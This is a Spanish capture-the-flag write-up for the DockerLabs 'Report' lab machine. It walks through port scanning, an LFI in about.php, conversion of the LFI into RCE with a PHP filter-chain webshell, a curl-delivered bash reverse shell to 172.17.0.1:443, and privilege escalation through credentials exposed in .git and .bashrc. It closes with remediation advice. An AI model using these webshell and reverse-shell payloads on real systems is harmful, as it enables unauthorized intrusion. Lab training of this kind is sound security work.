Report
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Report, desarrollada por Luisillo_o para DockerLabs y clasificada con dificultad media.
El objetivo es detallar cada fase de la explotación: reconocimiento, descubrimiento de vulnerabilidades, ejecución remota de código (RCE) y escalada de privilegios. La máquina combina fallos web, una conversión de LFI → RCE usando php filters, y un proceso de escalada basado en credenciales expuestas y variables sensibles.
Todo se realizó en el entorno aislado que ofrece DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Report |
| Autor | Luisillo_o |
| Dificultad | Medio |
| Fecha | 20/10/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimimos y desplegamos la máquina:
unzip Report.zipsudo bash auto_deploy.sh Report.tarEl script muestra la IP del contenedor:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Preparación del entorno
Sección titulada «1.1 Preparación del entorno»mkdir -p Report/{content,exploits,nmap,gobuster,scripts}cd Report1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un escaneo agresivo:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 22/tcp — SSH
- 80/tcp — HTTP
- 3306/tcp — MySQL

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»El sitio redirige al dominio realgob.dl, por lo que lo añadimos al /etc/hosts.
Luego escaneamos directorios:
gobuster dir \ -u http://realgob.dl/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,html,txt,js \ -t 200
Rutas relevantes
Sección titulada «Rutas relevantes»-
/index.php— Página inicial tipo “gobierno”.
-
/login.php— Portal de acceso.
-
/register.php— Registro de cuentas. -
/logs— Accesible públicamente.
-
/uploads— Directorio accesible.
-
/important.txt— Aviso del creador mencionando múltiples vulnerabilidades.
Según la nota del autor, existen varias vulnerabilidades, las que yo encontre fueron: IDOR, información expuesta, user enumeration, XSS, brute force, file upload, etc. Sin embargo, nos enfocaremos únicamente en las vulnerabilidades críticas que permiten acceso directo al sistema.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»Existen dos métodos viables:
- Log poisoning (debido al acceso a
/logs) - LFI → RCE usando php filters
Usaremos el segundo método.
2.1 Local File Inclusion (LFI)
Sección titulada «2.1 Local File Inclusion (LFI)»La ruta:
http://realgob.dl/about.php?file=iniciativas.htmlCarga archivos directamente. Probamos leer /etc/passwd:

Confirmado el LFI.
2.2 LFI → RCE usando php filters
Sección titulada «2.2 LFI → RCE usando php filters»Utilizamos la herramienta php_filter_chain_generator para crear una webshell codificada en filtros.
Generamos la cadena:
php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'Copiamos el payload generado (entre php://filter … php://temp) y lo usamos en el parámetro file:
curl 'http://realgob.dl/about.php?file=php://filter<RECORTADO>php://temp&id' --output -Con esto ya tenemos ejecución de comandos.
2.3 Reverse shell
Sección titulada «2.3 Reverse shell»Levantamos listener:
nc -nlvp 443Ejecutamos el payload en URL-encoding:
curl 'http://realgob.dl/about.php?file=php://filter<RECORTADO>php://temp&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F443%200%3E%261%27' --output -Reverse shell obtenida:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data a adm
Sección titulada «3.1 De www-data a adm»Dentro del sitio encontramos un directorio .git con historial accesible.
Corregimos errores y listamos commits:

Uno menciona “remote access management”, y al revisarlo vemos una contraseña expuesta:

Cambiamos al usuario adm:
su adm
3.2 De adm a root
Sección titulada «3.2 De adm a root»En el .bashrc encontramos la variable:
MY_PASS=<hexadecimal>
La decodificamos:
echo MY_PASS | xxd -r -p
Con ella tomamos control total:
su root
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- LFI sin sanitización de rutas.
- Acceso público al directorio
/logs→ posible log poisoning. - Historial
.gitexpuesto → filtración de contraseñas. - Directorios sensibles (
uploads,logs) sin restricciones. - Uso de credenciales en texto plano.
- Variable sensible en
.bashrc. - Falta de separación de privilegios adecuada entre usuarios del sistema.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar validación estricta en parámetros de inclusión (
file). - Proteger directorios internos mediante
.htaccesso ajustes en el servidor. - Eliminar el directorio
.giten entornos de producción. - Usar variables de entorno para credenciales.
- Limitar permisos de usuarios en el sistema.
- Evitar almacenar contraseñas en texto plano o en hex codificado.
- Aplicar un flujo seguro de despliegue y control de versiones.